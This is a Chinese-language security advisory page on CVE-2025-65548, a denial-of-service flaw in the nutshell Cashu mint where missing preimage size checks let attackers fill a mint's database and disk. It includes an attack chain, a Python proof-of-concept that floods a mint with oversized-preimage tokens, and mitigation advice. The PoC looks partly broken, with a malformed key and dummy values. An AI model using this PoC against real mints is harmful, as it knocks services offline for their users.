IPBUF安全漏洞报告
English
CVE-2025-65548 CVSS 9.1 严重

CVE-2025-65548: NUT-14 Cashu Token Preimage大小验证缺失导致拒绝服务

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-65548
漏洞类型
拒绝服务(DoS)/资源消耗漏洞
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
nutshell (cashubtc/nuts)

相关标签

CVE-2025-65548NUT-14Cashunutshell拒绝服务资源消耗输入验证缺失PreimageHTLCBitcoin

漏洞概述

CVE-2025-65548是NUT-14规范实现中的一个严重安全漏洞。该漏洞允许攻击者创建包含任意大preimage哈希的cashu token,但在token被消费时,nutshell(cashubtc/nuts)在0.18.0之前的版本不会验证preimage的大小。攻击者可以利用这个漏洞向mint(铸币厂)的数据库和磁盘填充任意数据,从而导致服务拒绝。由于无需认证即可利用此漏洞,且攻击成本极低,任何人都可以通过网络发起攻击。这对cashu协议的可用性和可靠性造成严重影响,可能导致整个mint服务瘫痪。

技术细节

NUT-14规范允许cashu tokens包含一个preimage哈希(用于HTLC等场景),但规范并未明确限制preimage的大小。nutshell实现中,token的创建和消费流程如下:

1. Token创建:攻击者可以构造包含超大preimage(如数GB甚至更大的数据)的cashu token
2. Token消费:当该token被发送到mint进行消费时,mint会存储这个巨大的preimage
3. 漏洞触发:由于缺乏大小验证,mint会将整个preimage写入数据库和磁盘
4. 资源耗尽:重复此操作会导致数据库和磁盘空间迅速耗尽,最终导致mint服务崩溃

攻击者可以自动化这个过程,通过多次发送包含超大preimage的token来加速资源消耗。漏洞的根本原因在于缺少对输入数据大小的边界检查和限制。

攻击链分析

STEP 1
步骤1
攻击者构造包含超大preimage的cashu token(根据NUT-14规范,preimage大小未受限制)
STEP 2
步骤2
攻击者将恶意token发送到目标mint的API端点(如/split或/melt)
STEP 3
步骤3
Mint接收token并处理,但由于缺少preimage大小验证,直接存储整个preimage数据
STEP 4
步骤4
攻击者重复发送多个包含超大preimage的token,加速资源消耗
STEP 5
步骤5
Mint的数据库和磁盘空间被填满,导致服务无法继续处理正常请求
STEP 6
步骤6
Mint服务崩溃或变得完全不可用,形成拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-65548 PoC - Cashu Token Preimage Size Validation Bypass Note: This PoC is for educational and security research purposes only. """ import json import hashlib import base64 def generate_malicious_token(preimage_size_mb=100): """ Generate a Cashu token with oversized preimage """ # Generate arbitrary large preimage data preimage = b'\x00' * (preimage_size_mb * 1024 * 1024) preimage_hash = hashlib.sha256(preimage).hexdigest() # Construct NUT-14 token with oversized preimage token = { "mint": "https://your-mint.example.com", " proofs": [ { "amount": 1, "C": "02" + "00" * 32, # Dummy C value "secret": "preimage:" + preimage_hash, "preimage": base64.b64encode(preimage).decode(), # Oversized preimage "id": "nut14-proof-id" } ] } return token def exploit_mint(mint_url, num_tokens=10, preimage_size_mb=100): """ Exploit the mint by sending tokens with oversized preimages """ print(f"[*] Generating {num_tokens} malicious tokens...") print(f"[*] Preimage size: {preimage_size_mb}MB per token") print(f"[*] Total potential data to fill: {num_tokens * preimage_size_mb}MB") for i in range(num_tokens): token = generate_malicious_token(preimage_size_mb) # In real attack, send token to mint's /split or /melt endpoint print(f"[+] Token {i+1}/{num_tokens} generated and ready to send") # requests.post(f"{mint_url}/api/v1/split", json=token) print("[*] Attack completed - mint should have consumed significant disk space") if __name__ == "__main__": print("CVE-2025-65548 PoC - Cashu NUT-14 Preimage Size Validation Bypass") print("=" * 70) # Example usage exploit_mint("https://vulnerable-mint.example.com", num_tokens=100, preimage_size_mb=10)

影响范围

nutshell < 0.18.0
cashubtc/nuts < 0.18.0
所有实现NUT-14且未修复的Cashu mint实现

防御指南

临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:1) 在反向代理或API网关层限制请求体大小;2) 监控mint服务的磁盘使用情况并设置告警;3) 实施请求速率限制以减缓攻击;4) 定期清理过期的proofs数据;5) 考虑暂时禁用需要preimage的NUT-14功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表